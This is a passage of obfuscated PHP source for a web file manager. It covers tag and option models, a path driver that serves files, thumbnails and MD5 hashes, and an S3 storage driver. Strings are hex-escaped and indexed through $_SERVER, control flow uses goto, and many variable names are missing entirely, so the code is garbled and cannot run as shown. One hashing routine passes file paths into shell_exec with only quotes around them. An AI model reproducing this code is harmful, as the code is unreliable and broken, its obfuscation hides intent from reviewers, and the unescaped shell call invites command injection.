removeBySource($) { $߸ =& $_SERVER[]; if (!$) { return !1; } if (!is_array($)) { $ = array($); } $ = array($߸[417] => array($߸[7], $)); $ = $this->field($߸[469])->where($)->select(); if ($) { $this->where($)->delete(); $ = array_to_keyvalue($, $߸[12], $߸[468]); Model($߸[471])->remove($); } return !0; } public function setDetail($, $ꫢ) { $͓ =& $_SERVER[]; return $this->where(array($͓[419] => $))->save(array($͓[2104] => $ꫢ)); } public function rollbackToItem($ƴ, $) { $ɨ =& $_SERVER[]; $ձ = Model($ɨ[824])->sourceInfo($ƴ); $this->addHistory($ձ, LNG($ɨ[2115])); $ = $this->find($); $䚝 = array($ɨ[468] => $[$ɨ[468]], $ɨ[76] => $[$ɨ[76]], $ɨ[85] => time(), $ɨ[456] => USER_ID); Model($ɨ[824])->where(array($ɨ[402] => $ƴ))->save($䚝); return $this->where(array($ɨ[419] => $))->delete(); } public function clearSame($Á) { $ =& $_SERVER[]; $ܩ = $this->listData($Á); $Ⓠ = array_to_keyvalue_group($ܩ, $[468]); $ = array(); $ = array(); foreach ($Ⓠ as $) { if (!$ || count($) <= 1) { continue; } foreach ($ as $ұȒ) { $[] = $ұȒ[$[468]]; $[] = $ұȒ[$[399]]; } } if (!$) { return; } $this->where(array($[399] => array($[7], $)))->delete(); Model($[471])->remove($); } public function userSpace() { $ۀ =& $_SERVER[]; $ܯ = $this->tablePrefix; $ = array($ۀ[1661] => USER_ID); $ = "{$ܯ}\151\x6f\x5f\146\151\x6c\145\x20\146\151\x6c\145\x73\40\x6f\x6e\40\x66\x69\x6c\145\x73\56\146\x69\154\x65\111\x44\x20\75\x20\150\151\163\164\x6f\162\171\56\146\x69\x6c\145\x49\104"; return $this->alias($ۀ[2113])->where($)->join($, $ۀ[2114])->sum($ۀ[76]); } } goto a; d: class UserOptionModel extends ModelBaseOption { protected $tableName = "\x75\x73\145\162\137\x6f\x70\x74\151\x6f\156"; protected $jsonField = array(); function __construct() { parent::__construct(); } protected function cacheKey($) { $ =& $_SERVER[]; $ = defined($[2139]) && USER_ID ? USER_ID : $[12]; return "\125\163\x65\x72\117\x70\164\151\x6f\x6e\137{$}\x5f" . $; } protected function filterWhere($ϝ) { $ =& $_SERVER[]; $ϝ[$[1670]] = defined($[2139]) && USER_ID ? USER_ID : $[12]; return $ϝ; } public function cacheRemoveUser($ϯ, $̃) { return Cache::remove("\125\x73\x65\x72\x4f\160\x74\x69\x6f\x6e\x5f{$ϯ}\x5f" . $̃); } protected function optionDefault($ = '') { $ϲ =& $_SERVER[]; if ($ == $ϲ[12]) { return $GLOBALS[$ϲ[6]][$ϲ[2353]]; } if ($ == $ϲ[2354]) { return $GLOBALS[$ϲ[6]][$ϲ[2355]]; } } } class UserTagModel extends ModelBaseLight { public $optionType = "\x55\163\145\x72\56\x74\x61\147\x4c\151\163\164"; public $modelType = "\125\163\x65\162\117\160\164\x69\157\156"; public $field = array("\156\141\155\145", "\x73\x74\171\154\x65", "\x73\157\162\164"); public function listData($ま = false, $ٻ = "\x73\x6f\x72\x74", $ = false) { return parent::listData($ま, $ٻ, $); } public function remove($˩) { return parent::remove($˩); } public function add($Ȑ, $ݔ = "\154\141\142\145\x6c\x2d\x67\x72\x65\x79\55\156\x6f\162\155\141\154") { $ʽ =& $_SERVER[]; if ($this->findByName($Ȑ)) { return !1; } $ǨӢ = array($ʽ[420] => $Ȑ, $ʽ[484] => $ݔ, $ʽ[1865] => $this->getSort($ʽ[258]) + 1); return parent::insert($ǨӢ); } public function update($ۀ, $) { $Հ =& $_SERVER[]; $吡 = $this->listData($ۀ); $ۗ = $this->findByName($[$Հ[32]]); if (!$吡 || $ۗ && $ۗ[$Հ[399]] != $吡[$Հ[399]]) { return !1; } return parent::update($ۀ, $); } public function moveTop($) { $ٜ =& $_SERVER[]; $ = parent::listData(); $Ϣ = $this->getSort($ٜ[257]); foreach ($ as &$ַ) { if ($ַ[$ٜ[399]] == $) { $ַ[$ٜ[1885]] = $Ϣ; continue; } $ַ[$ٜ[1885]] += 1; } unset($ַ); return parent::resetData($); } public function moveBottom($蟪ז) { $ʋ =& $_SERVER[]; $ɜ = $this->getSort($ʋ[258]) + 1; return parent::update($蟪ז, array($ʋ[1885] => $ɜ)); } public function resetSort($) { $¹ =& $_SERVER[]; $ = array(); $ = is_array($) ? $ : array(); for ($ = 0; $ < count($); $++) { $[$[$] . $¹[12]] = $ + 1; } $˖ = parent::listData(); foreach ($˖ as &$) { $ = $[$[$¹[399]]]; $[$¹[1885]] = $ ? $ : $[$¹[1885]]; } unset($); return parent::resetData($˖); } private function getSort($) { $ʭɉ =& $_SERVER[]; $ = parent::listData(); $ = array_to_keyvalue($, $ʭɉ[12], $ʭɉ[1885]); if (!$) { $ = array(0); } $Ԁ = $ == $ʭɉ[258] ? max($) : min($); return intval($Ԁ); } } goto e; e: class PathDriverBase { public $pathDriver = ''; public $pathBase = ''; public $path = ''; public $pathID = ''; public $_data = array(); public function __construct() { $ =& $_SERVER[]; $this->objectDriver = array($[60], $[61], $[62], $[63], $[64], $[65], $[66], $[67], $[68]); $this->_classObjectID = mt_rand(0, 10000); } public function getPath($ά) { if (in_array($this->getType(), $this->objectDriver)) { return ltrim($ά, $_SERVER[][8]); } return $ά; } public function iconvApp($) { return $; } public function iconvSystem($) { return $; } public function iconvTo($̵ʽ, $Ż, $) { $˩ =& $_SERVER[]; if (!$̵ʽ || !function_exists($˩[69])) { return $̵ʽ; } static $ް = array(); $Ж = $Ż . $˩[70] . $ . $˩[71] . $̵ʽ; if (isset($ް[$Ж])) { return $ް[$Ж]; } if (function_exists($˩[72])) { $ = @mb_convert_encoding($̵ʽ, $, $Ż); } else { $ = @iconv($Ż, $, $̵ʽ); } $ = $ ? $ : $̵ʽ; if (strstr($, $˩[73])) { $ = str_replace($˩[73], $˩[11], $); } $ް[$Ż . $˩[70] . $ . $˩[71] . $̵ʽ] = $; $ް[$ . $˩[70] . $Ż . $˩[71] . $̵ʽ] = $̵ʽ; $ް[$ . $˩[70] . $Ż . $˩[71] . $] = $̵ʽ; $ް[$Ż . $˩[70] . $ . $˩[71] . $] = $; return $; } public function getPathInner($) { $ = IO::init($); return $->path; } public function getPathOuter($) { $ =& $_SERVER[]; $ = strlen(trim($this->pathBase, $[8])); $ = substr(trim($, $[8]), $); return $this->pathDriver . $[8] . ltrim($, $[8]); } public function isParentOf($, $) { $ѷ =& $_SERVER[]; $ = rtrim(strtolower($), $ѷ[8]) . $ѷ[8]; $ = rtrim(strtolower($), $ѷ[8]) . $ѷ[8]; $ۺ = strpos($, $) === 0; return $ۺ; } public function getType() { $ =& $_SERVER[]; $ = str_replace($[74], $[12], get_class($this)); return strtolower($); } public function isTypeObject() { if (!is_array($this->objectDriver)) { return !1; } return in_array($this->getType(), $this->objectDriver); } public function fileNameExist($̝, $ȵ) { $߇ =& $_SERVER[]; $ = rtrim($̝, $߇[8]) . $߇[8] . $ȵ; $ = $this->exist($); return $ ? $ : !1; } public function setModifyTime($, $ = '') { } public function renameObject($, $ѿ) { $ = $ѿ; $ = $this->getPathOuter($); $ѿ = $this->pathFather($) . $ѿ; $ = IO::copy($, $this->pathFather($), REPEAT_RENAME_FOLDER, $); if ($) { IO::remove($); } return $ ? $ѿ : !1; } public function tempFile($ = '', $۞ = '') { if (!$) { $ = rand_string(15); } $Т = TEMP_FILES . rand_string(15) . $_SERVER[][8]; @mkdir($Т, DEFAULT_PERRMISSIONS, !0); $똂 = $Т . $; @touch($똂); if ($۞) { file_put_contents($똂, $۞); } return $똂; } public function tempFileRemve($ޫ) { @unlink($ޫ); @rmdir($this->pathFather($ޫ)); } public function mkfile($, $ = '', $戄 = REPEAT_RENAME) { } public function mkdir($, $ = REPEAT_SKIP) { } public function delFile($) { } public function delFolder($) { } public function copyFile($틕, $Ћ) { } public function moveFile($ƶ, $چڰ) { } public function remove($ʮ) { if ($this->isFile($ʮ)) { return $this->delFile($ʮ); } return $this->delFolder($ʮ); } public function rename($, $ا) { } public function exist($) { } public function findByHash($ = '', $Ե = '') { return !1; } public function isFile($̷) { } public function isFolder($܌̞) { } public function size($־) { } public function info($) { } public function infoSimple($) { return $this->info($); } public function infoAuth($ڥ) { return $this->info($ڥ); } public function infoFull($ہ) { return $this->info($ہ); } public function infoWithChildren($) { $ =& $_SERVER[]; static $τ = array(); if (isset($τ[$])) { return $τ[$]; } $ = $this->info($); if ($ && $[$[33]] == $[75]) { $ꀟ = array($[76] => 0, $[77] => 0, $[78] => 0); $this->infoChildren($, $ꀟ); $[$[76]] = $ꀟ[$[76]]; $[$[79]] = array($[80] => $ꀟ[$[77]], $[81] => $ꀟ[$[78]]); $τ[$] = $; } return $; } public function listPath($ǀ؈Ʀ, $ٳú = false) { } public function has($벨쵉, $ɐ = false, $姍 = false) { } public function canRead($幙) { } public function canWrite($ԉ) { } public function getContent($) { } public function setContent($, $ɼ = '') { } protected function infoChildren($, &$) { $ =& $_SERVER[]; check_abort_echo(); $ = $this->listPath($, !0); $ = array_merge($[$[82]], $[$[83]]); foreach ($ as $) { if ($[$[33]] == $[75]) { $[$[78]]++; $ = $this->getPathInner($[$[84]]); $this->infoChildren($, $); } else { $[$[77]]++; $[$[76]] += $[$[76]]; } } } public function fileSubstr($á, $, $ܻ) { } public function listAll($Ϫ) { } public function listAllMake($, &$ా) { $ִ =& $_SERVER[]; check_abort_echo(); $կ = $this->listPath($, !0); if (!$կ) { return; } $ = array_merge($կ[$ִ[82]], $կ[$ִ[83]]); foreach ($ as $) { $σ = $[$ִ[33]] == $ִ[75]; $ = array($ִ[84] => $[$ִ[84]], $ִ[75] => $σ); if (isset($[$ִ[76]])) { $[$ִ[76]] = $[$ִ[76]]; } if (isset($[$ִ[85]])) { $[$ִ[85]] = $[$ִ[85]]; } if (!$σ) { $ా[] = $; continue; } $ా[] = $; $ح = $[$ִ[84]]; $ = $this->pathDriver; if (substr($[$ִ[84]], 0, strlen($)) == $) { $ح = substr($ح, strlen($)); } $this->listAllMake($ح, $ా); } } public function listAllSimple($, $۟ = false) { $ = $this->listAll($); return $this->listAllSimpleMake($, $this->getPathOuter($), $۟); } public function listAllSimpleMake($, $ф, $) { $ر =& $_SERVER[]; $ُ = array(); $ф = rtrim(get_path_father($ф), $ر[8]) . $ر[8]; foreach ($ as $) { $ = array($ر[84] => $[$ر[84]], $ر[86] => $[$ر[84]], $ر[75] => $[$ر[75]]); if (isset($[$ر[76]]) && !$[$ر[75]]) { $[$ر[76]] = $[$ر[76]]; } if (isset($[$ر[85]])) { $[$ر[85]] = $[$ر[85]]; } if (is_array($[$ر[87]])) { $[$ر[86]] = $[$ر[87]][$ر[84]]; $[$ر[76]] = $[$ر[87]][$ر[76]]; $[$ر[85]] = $[$ر[87]][$ر[85]]; } else { if (substr($[$ر[84]], 0, strlen($ф)) == $ф) { $[$ر[84]] = substr($[$ر[84]], strlen($ф)); } } $瞝Č = $[$ر[75]] ? $ر[8] : $ر[12]; $[$ر[86]] = rtrim($[$ر[86]], $ر[8]) . $瞝Č; $[$ر[84]] = $ر[8] . trim($[$ر[84]], $ر[8]) . $瞝Č; if (!$) { $ң = explode($ر[8], trim($[$ر[84]], $ر[8])); $[$ر[84]] = $ر[8] . implode($ر[8], array_slice($ң, 1)) . $瞝Č; } $ُ[] = $; } return array_sort_by($ُ, $ر[84]); } public function upload($ۨ, $Ņ, $ = false, $ = REPEAT_REPLACE) { } public function uploadFileByID($І, $Ƹ, $͈웾) { } public function uploadFileByPath($Ӎۨ, $, $Ǐ = array()) { } public function isUploadServer() { $׆ =& $_SERVER[]; if (isset($this->ioUploadServer) && $this->ioUploadServer == $׆[88]) { return !0; } return $GLOBALS[$׆[6]][$׆[89]][$׆[90]]; } public function isFileOutServer() { $ =& $_SERVER[]; if (isset($this->ioFileOutServer) && $this->ioFileOutServer == $[88]) { return !0; } return $GLOBALS[$[6]][$[89]][$[91]]; } public function isCdnHost() { return $this->isFileOutServer() || empty($this->cdnHost) ? !1 : !0; } public function getCdnLink($ծ) { $ې =& $_SERVER[]; if (!$this->isCdnHost()) { return $ծ; } return str_replace(trim(get_url_root($ծ), $ې[8]), trim($this->cdnHost, $ې[8]), $ծ); } public function uploadLink($ԼՎ, $ = 0) { $ =& $_SERVER[]; if ($this->isUploadServer()) { return; } $ӝ = $this->getType(); if (!in_array($ӝ, $this->objectDriver)) { return; } if (!$this->isBucketCors()) { return; } $İ = 1024 * 1024 * 10; $џ = $ <= $İ ? $[92] : $[93]; $ = (!$ ? 1 : ceil($ / pow(1024, 3))) * 3600 * 4; $ͫ = $this->{$џ}($ԼՎ, $); if ($ͫ) { $ͫ[$[94]] = $ԼՎ; $ͫ[$[95]] = $ӝ; } return $ͫ; } public function uploadFormData($, $ = 3600) { } public function multiUploadFormData($, $ = 3600) { } public function download($ؤ, $䤅) { } public function ext($ᔚ) { $ =& $_SERVER[]; if (strpos($ᔚ, $[8]) === -1) { $ҥ = $ᔚ; } else { $ҥ = $this->pathThis($ᔚ); } $Ô = $[12]; if (strstr($ҥ, $[10])) { $Ô = substr($ҥ, strrpos($ҥ, $[10]) + 1); $Ô = strtolower($Ô); } if (strlen($Ô) > 3 && preg_match($[96], $Ô, $û)) { $Ô = $[12]; } return $Ô; } public function pathThis($˶) { $ת =& $_SERVER[]; $˶ = str_replace($ת[97], $ת[8], rtrim($˶, $ת[8])); $ڠ = strrpos($˶, $ת[8]); if ($ڠ === !1) { return $˶; } return substr($˶, $ڠ + 1); } public function pathFather($) { $ =& $_SERVER[]; $ = str_replace($[97], $[8], rtrim($, $[8])); $ = strrpos($, $[8]); if ($ === !1) { return $[12]; } return substr($, 0, $ + 1); } public function hashSimple($ō) { $ =& $_SERVER[]; if (!$ō) { return md5($[12]); } $ = $this->size($ō); $١ = 200; $྿ = 50; if ($ <= $١ * $྿) { return $this->hashMd5($ō) . $; } $ = intval($ / $྿); $ٶ = $[12]; for ($ = 0; $ < $྿; $++) { $ٶ .= $this->fileSubstr($ō, $ * $, $١); } $ٶ .= $this->fileSubstr($ō, $ - $١, $١); return md5($ٶ) . $; } public static $md5Cache = array(); public function hashMd5($) { if (!$) { return md5($_SERVER[][12]); } $ = $this->iconvSystem($); if (isset(self::$md5Cache[$])) { return self::$md5Cache[$]; } self::$md5Cache[$] = $this->hashMd5Shell($); if (!self::$md5Cache[$]) { self::$md5Cache[$] = @md5_file($); } return self::$md5Cache[$]; } private function hashMd5Shell($Њ) { $ =& $_SERVER[]; if (!$Њ) { return md5($[12]); } if (!function_exists($[98])) { return !1; } $ = array($[99], $[100]); $ = Cache::get($[101]); if (!$) { $֎ = BASIC_PATH . $[102]; $ = md5_file($֎); $ = $[103]; foreach ($ as $) { $Ӡ = shell_exec($ . "\40\x22{$֎}\x22"); if ($Ӡ && substr(trim($Ӡ), 0, 32) == $) { $ = $; break; } } Cache::set($[101], $, 3600); } if ($ == $[103]) { return !1; } $Ӡ = shell_exec($ . "\x20\42{$Њ}\x22"); $Ӡ = str_replace($[104], $[12], $Ӡ); return substr($Ӡ, 0, 32); } public function link($ڜ) { return $ڜ; } public function fileOut($ǖ, $ = false, $ = false, $Ƨ = '') { $ =& $_SERVER[]; $this->cacheMethod(null, null); if (!$ǖ || !$this->exist($ǖ)) { show_json(LNG($[105]), !1, $); } $ = $this->getType() == $[106]; $ = $GLOBALS[$[6]][$[89]][$[107]][$[108]]; $ܝ۷ = (double) $GLOBALS[$[6]][$[89]][$[107]][$[109]] * 1024 * 1024; @ob_end_clean(); set_timeout(); $ = $this->infoFull($ǖ); $۹ = $[$[76]]; $č = gmdate($[110], $[$[85]]); $䚞 = $ ? $ : $this->iconvApp($[$[32]]); $կ̓ = 0; $ = $۹ - 1; $кޫ = $this->ext($䚞); if (in_array($кޫ, array($[111], $[112], $[113], $[114]))) { $кޫ = $[115]; } if (in_array($кޫ, array($[116]))) { $кޫ = $[117]; } if (!$Ƨ) { $Ƨ = md5($č . $this->hashSimple($ǖ)); } $Ƨ = $[118] . $Ƨ . $[118]; $ҷҊ = get_file_mime($кޫ); $糨 = !0; $糨 = isset($_GET[$[119]]) ? !1 : !0; if ($ === !1 && !mime_support($ҷҊ)) { $ҷҊ = $[120]; } header($[121]); header($[122] . $ҷҊ); $ = rawurlencode($䚞); $ = $[118] . $ . $[123] . $; if ($) { header($[124]); header($[125] . $); } else { if ($糨) { header($[126] . $); } } header($[127] . gmdate($[110], time() + 3600 * 24 * 30) . $[128]); header($[129]); header($[130]); header($[131]); if (isset($_SERVER[$[132]]) && strtotime($_SERVER[$[132]]) == $[$[85]]) { header($[133], !0, 304); die; } if (isset($_SERVER[$[134]]) && $_SERVER[$[134]] == $Ƨ) { header($[135] . $Ƨ, !0, 304); die; } header($[135] . $Ƨ); header($[136] . $č . $[128]); header($[137] . $䚞); header($[138]); header($[139] . $۹); header($[140]); if (!$ && $кޫ == $[141]) { if ($۹ > 1024 * 1024 * 5) { die; } $ = $this->getContent($ǖ); $ = Html::clearSVG($); header($[142] . strlen($)); echo $; die; } $ݺ = strtolower($_SERVER[$[143]]); if ($ && $ݺ && $) { if (strstr($ݺ, $[144])) { header($[145] . $ǖ); } else { if (strstr($ݺ, $[146])) { header($[147] . $ǖ); } else { if (strstr($ݺ, $[148])) { header($[149] . $ǖ); } } } if ($ܝ۷) { header($[150] . $ܝ۷); } return; } if (isset($_SERVER[$[151]])) { if (preg_match($[152], $_SERVER[$[151]], $ȶȮ)) { $կ̓ = intval($ȶȮ[1]); $կ̓ = $կ̓ <= 0 ? 0 : ($կ̓ >= $ ? $ : $կ̓); if (!empty($ȶȮ[2])) { $ = intval($ȶȮ[2]); $ = $ < $կ̓ ? $կ̓ : ($ >= $ ? $ : $); } } header($[153]); header("\x43\157\156\164\145\x6e\x74\55\x52\x61\156\x67\x65\72\x20\x62\171\x74\x65\x73\x20{$կ̓}\x2d{$}\x2f" . $۹); } else { header($[154]); } header($[155]); $Ӆ = !0; if ($_SERVER[$[156]] == $[157] && $۹ > 1204 * 1024 * 1024 * 2) { $Ӆ = !1; } if ($Ӆ) { header($[158] . ($ - $կ̓ + 1)); } if ($_SERVER[$[159]] == $[160]) { return; } $ރ = 1024 * 100; $ƪ = 0; if ($ܝ۷) { $ƪ = intval(1000 * 1000 * ($ރ / $ܝ۷)); } while ($կ̓ <= $) { $ = timeFloat(); check_abort(); $ے = $ - $կ̓ + 1; if ($ے <= $ރ) { $ރ = $ے; } echo $this->fileSubstr($ǖ, $կ̓, $ރ); $կ̓ += $ރ; if ($ރ == $ے) { $կ̓ = $ + 1; } if ($ƪ) { $ = intval(1000 * 1000 * (timeFloat() - $)); $樯է = $ƪ - $; if ($樯է > 5) { usleep($樯է); } } } } public function fileOutServer($, $Ț = false, $ = false, $Ĭ = '') { $this->fileOut($, $Ț, $, $Ĭ); } public function fileOutLink($Ү) { header($_SERVER[][161] . $Ү); die; } public function cacheMethod($, $۫, $ = null) { $裂 =& $_SERVER[]; static $Ѝހ = array(); $؞ = $۫ ? ltrim($this->getPathOuter($۫), $裂[8]) : $裂[12]; $Ȧ = $裂[162] . $ . $裂[163] . rtrim($؞, $裂[8]); if (is_null($)) { $Ѝހ = array(); return; } if (is_null($۫)) { foreach ($Ѝހ as $Ȧ => $Ԏ) { if (!strstr($Ȧ, $裂[162] . $ . $裂[164])) { continue; } unset($Ѝހ[$Ȧ]); } return; } if (!is_null($)) { $Ѝހ[$Ȧ] = $; return; } $ = isset($Ѝހ[$Ȧ]) ? $Ѝހ[$Ȧ] : null; if (!is_null($)) { return $; } $ = $this->{$}($۫); $Ѝހ[$Ȧ] = $; return $; } public function cacheMethodInfoSet($ۼ, $, $ = false) { $ =& $_SERVER[]; if ($this->listItemCache === !1) { return; } $this->cacheMethod($[165], $ۼ, $); $this->cacheMethod($[166], $ۼ, $ ? !1 : !0); if (is_array($)) { $this->cacheMethod($[167], $ۼ, $); } } public function fileOutImage($օވǖ, $Ð㘼 = 250) { $ =& $_SERVER[]; set_timeout(); if (substr($օވǖ, 0, 4) == $[148]) { $this->fileOutLink($օވǖ); } $ڲ = $this->info($օވǖ); $ᩈ = $ڲ[$[32]]; $ = !1; if (isset($GLOBALS[$[168]]) && $GLOBALS[$[168]][$[84]] == $ڲ[$[84]]) { $Ŀ = $GLOBALS[$[168]][$[169]]; if (!$ڲ[$[170]]) { $ڲ[$[170]] = $GLOBALS[$[168]]; } if (isset($Ŀ[$[171]])) { if ($Ŀ[$[171]] <= $Ð㘼 && $Ŀ[$[172]] <= $Ð㘼) { $ = !0; } } $ᩈ = $ڲ[$[170]][$[32]]; } if ($ڲ[$[76]] <= 1024 * 50 || $ || !function_exists($[173]) || $ڲ[$[174]] == $[175]) { return $this->fileOut($օވǖ, !1, $ᩈ); } if (isset($ڲ[$[170]][$[176]])) { $ޟ = $ڲ[$[170]][$[176]]; } else { if (isset($ڲ[$[170]][$[177]])) { $ޟ = $ڲ[$[170]][$[177]]; } } if (!$ޟ) { $ޟ = md5("{$ڲ[$[32]]}\x5f{$ڲ[$[84]]}\x5f{$ڲ[$[76]]}\137{$Ð㘼}"); } $ = "{$ޟ}\x5f{$Ð㘼}\x2e\160\156\147"; if (!($Շ = IO::fileNameExist(IO_PATH_SYSTEM_TEMP, $[178]))) { $ݥ = IO::mkdir(IO_PATH_SYSTEM_TEMP . $[179]); } else { $ݥ = KodIO::make($Շ); } if ($Շ = IO::fileNameExist($ݥ, $)) { $ = KodIO::make($Շ); return IO::fileOut($, !1, $ᩈ); } if (!is_dir(DATA_THUMB)) { mk_dir(DATA_THUMB); } $ = DATA_THUMB . $; del_file($); if (!@file_exists($)) { $ = TEMP_FILES; if (!is_dir($)) { mk_dir($); } $ = $ . $ޟ . $[10] . $ڲ[$[174]]; if (!@file_exists($)) { $ = $this->download($օވǖ, $); } ImageThumb::createThumb($, $, $Ð㘼, $Ð㘼 * 10); } if (!file_exists($) || filesize($) < 100) { return @file_exists($) ? IO::fileOut($) : $this->fileOut($օވǖ); } if (!($ߏ = IO::move($, $ݥ))) { return IO::fileOut($); } del_file($); IO::fileOut($ߏ); } public function fileOutImageServer($ґģ, $ = 250) { $this->fileOutImage($ґģ, $); } public function fileNameAuto($, $, $ = REPEAT_RENAME, $Ԏ = false) { $ =& $_SERVER[]; $ = $ === $[12] ? $ : rtrim($, $[8]) . $[8] . $; if ($ == REPEAT_REPLACE || !$this->exist($) || $Ԏ && $ != REPEAT_RENAME_FOLDER) { return $; } if ($ == REPEAT_SKIP) { return !1; } $ = $[10] . get_path_ext($); $ = $ == $[10] || $Ԏ ? $[12] : $; $ = 1; $ = substr($, 0, strlen($) - strlen($)); $ԓ = $ . "\x28{$}\x29{$}"; while ($this->exist(rtrim($, $[8]) . $[8] . $ԓ)) { $ԓ = $ . "\50{$}\51{$}"; $++; } return $ԓ; } private function fileNameAutoList($݉, $挧, $Ȍ = false) { $ =& $_SERVER[]; $ъ = $this->listPath($݉, !0); $ъ = array_merge($ъ[$[82]], $ъ[$[83]]); $ = array_to_keyvalue($ъ, $[12], $[32]); $ = $[10] . get_path_ext($挧); $ = $ == $[10] || $Ȍ ? $[12] : $; $ = substr($挧, 0, strlen($挧) - strlen($)); $ = $ . "\x28\x30\51{$}"; for ($ = 1; $ <= count($) + 1; $++) { $ = $ . "\50{$}\51{$}"; if (!in_array_not_case($, $)) { return $; } } return $; } public function listAllFiles($ډ, $ǟ܆) { $ =& $_SERVER[]; if (empty($ǟ܆)) { return array(); } $ = array_keys($ǟ܆); $ = array(); $ډ = trim($ډ, $[8]); foreach ($ǟ܆ as $ޙ => $־) { $΅ = ltrim(substr(trim($ޙ, $[8]), strlen($ډ)), $[8]); if (substr($ޙ, -1) == $[8]) { $΅ = rtrim($΅, $[8]) . $[8]; } $ = array_merge($, $this->slicePath($΅)); } $ = array(); foreach (array_unique($) as $謁) { $֞ = array($[84] => $this->getPathOuter($[8] . $ډ . $[8] . $謁), $[75] => 1, $[76] => 0); if (substr($謁, -1) != $[8]) { $֞[$[75]] = 0; $ȼ = $this->getPath($ډ . $[8] . $謁); if (isset($ǟ܆[$ȼ])) { $Ȍ͜ = $ǟ܆[$ȼ]; if (isset($Ȍ͜[$[76]])) { $֞[$[76]] = intval($Ȍ͜[$[76]]); } if (isset($Ȍ͜[$[180]])) { $֞[$[85]] = intval($Ȍ͜[$[180]]); } } } $[] = $֞; } return $; } public function slicePath($ː) { $Ǹ =& $_SERVER[]; $ = explode($Ǹ[8], trim($ː, $Ǹ[8])); $ʴ = 0; do { ++$ʴ; $[] = implode($Ǹ[8], array_slice($, 0, $ʴ)) . $Ǹ[8]; } while ($ʴ < count($)); $[count($) - 1] = $ː; return $; } public function getHost() { $ =& $_SERVER[]; $ = parse_url(trim($this->domain, $[8])); $Γ = isset($[$[181]]) ? $[$[181]] : http_type(); $ű = isset($[$[182]]) ? $[$[182]] : $[$[84]]; if (isset($[$[183]])) { $ű .= $[4] . $[$[183]]; } return $Γ . $[184] . $ű; } public function pathEncode($ݒ) { $ =& $_SERVER[]; return str_replace($[185], $[8], rawurlencode($ݒ)); } } class PathDriverBaseS3 extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $useSSL = false; protected $region = ''; protected $endpoint = ''; protected $bucket = ''; protected $client = null; protected $signVer = "\x76\64"; public $ioUploadServer = "\60"; public $ioFileOutServer = "\x30"; public $config = array(); public function __construct($Ǭ) { set_timeout(); require_once SDK_DIR . $_SERVER[][186]; parent::__construct(); $this->_init($Ǭ); } public function _init($) { $this->config = $; foreach ($ as $ => $) { if (isset($this->{$})) { $this->{$} = $; } } $this->endpoint = $[$_SERVER[][187]]; $this->client = new S3($this->accessKey, $this->secret, $this->useSSL, $this->endpoint, $this->region); $this->client->setEndpoint($this->getHost()); } public function signatureVersion($릕 = "\166\x34") { $this->signVer = $릕; $this->client->setSignatureVersion($릕); } public function setBucketCors() { return $this->client->setBucketCors($this->bucket); } public function getBucketCors() { return $this->client->getBucketCors($this->bucket); } public function isBucketCors() { $踫 =& $_SERVER[]; $˟ = $this->getBucketCors(); if (!$˟ || !is_array($˟)) { return !1; } if ($˟[$踫[188]] != $踫[189] || $˟[$踫[190]] != $踫[189]) { return !1; } $ވ = array_map($踫[191], $˟[$踫[192]]); if (!is_array($ވ)) { $ވ = array(); } $ = array($踫[193], $踫[194], $踫[195], $踫[196], $踫[197]); $Р = array_diff($, $ވ); return empty($Р); } public function mkfile($㪎, $Ȏ = '', $ڇᛌ = REPEAT_RENAME) { $ = $this->setContent($㪎, $Ȏ); if ($ !== !1) { return $this->getPathOuter($㪎); } return !1; } public function mkdir($, $ = REPEAT_SKIP) { $ =& $_SERVER[]; if (empty($) && $ !== $[198]) { return !1; } if ($ && $this->_isFolder($)) { return $this->getPathOuter($); } $ۇ = $this->setContent($, $[12], !0); if ($ۇ !== !1) { return $this->getPathOuter($); } return !1; } public function copyFile($, $ϳ, $ = array()) { $Η =& $_SERVER[]; $棍 = $this->objectMeta($); if (!$棍) { return !1; } if ($棍[$Η[76]] <= 1024 * 1024 * 200) { $ = $this->client->copyObject($this->bucket, $, $this->bucket, $ϳ, $Η[199], $); } else { $ = $this->client->multiCopyObject($this->bucket, $, $this->bucket, $ϳ, $); } $ = $ ? $this->getPathOuter($ϳ) : !1; return $; } public function moveFile($у, $܄) { if ($this->copyFile($у, $܄)) { $this->delFile($у); return $this->getPathOuter($܄); } return !1; } public function delFile($ȗ) { return $this->client->deleteObject($this->bucket, $ȗ); } public function delFolder($͝) { $މ =& $_SERVER[]; if (!$this->exist($͝)) { return !0; } $this->listItemCache = !1; $ݘ = $this->fileList($͝); $this->listItemCache = !0; $ݖ = trim($͝, $މ[8]) . $މ[8]; if (!empty($͝) && $͝ !== $މ[198] && !in_array($ݖ, $ݘ[$މ[82]])) { $ݘ[$މ[82]][] = $ݖ; } $ = $this->delByBatch($ݘ[$މ[83]]); if (!$) { return !1; } $ = $this->delByBatch($ݘ[$މ[82]]); if (!$) { return !1; } return $this->delFile($ݖ); } private function delByBatch($ݎ) { foreach (array_chunk($ݎ, 1000) as $ԛ̈́) { $ŀύ = $this->client->deleteObjects($this->bucket, $ԛ̈́); if (!$ŀύ) { return !1; } } return !0; } public function rename($ϝ, $) { return $this->renameObject($ϝ, $); } public function listPath($, $㳏 = false) { $֦ =& $_SERVER[]; $ = $this->fileList($, $֦[8], !0); foreach ($[$֦[82]] as $⩌ => $ڱӎ) { $[$֦[82]][$⩌] = $this->folderInfo($ڱӎ, $㳏, $ڱӎ); } foreach ($[$֦[83]] as $⩌ => $ڱӎ) { $[$֦[83]][$⩌] = $this->fileInfo($ڱӎ[$֦[32]], $㳏, $ڱӎ); } return $; } protected function infoChildren($笞, &$ڱ) { $ܜ =& $_SERVER[]; $ = $this->fileList($笞, $ܜ[12], !0); $ڱ[$ܜ[78]] += count($[$ܜ[82]]); $ڱ[$ܜ[77]] += count($[$ܜ[83]]); foreach ($[$ܜ[83]] as $) { if (!$ || !$[$ܜ[76]]) { continue; } $ڱ[$ܜ[76]] += $[$ܜ[76]]; } } private function fileInfo($ԸÔ, $߃ = false, $ˉ = array()) { $が =& $_SERVER[]; $ = array($が[32] => $this->pathThis($ԸÔ), $が[84] => $this->getPathOuter($ԸÔ), $が[33] => $が[200], $が[174] => $this->ext($ԸÔ), $が[76] => isset($ˉ[$が[76]]) ? $ˉ[$が[76]] : 0); if ($߃) { return $; } $[$が[201]] = $[$が[85]] = 0; $[$が[202]] = $[$が[203]] = !0; if (empty($ˉ)) { $ˉ = $this->objectMeta($ԸÔ); if (!$ˉ) { return $; } } if (isset($ˉ[$が[180]])) { $[$が[85]] = $ˉ[$が[180]]; } if (isset($ˉ[$が[76]])) { $[$が[76]] = $ˉ[$が[76]]; } return $; } private function 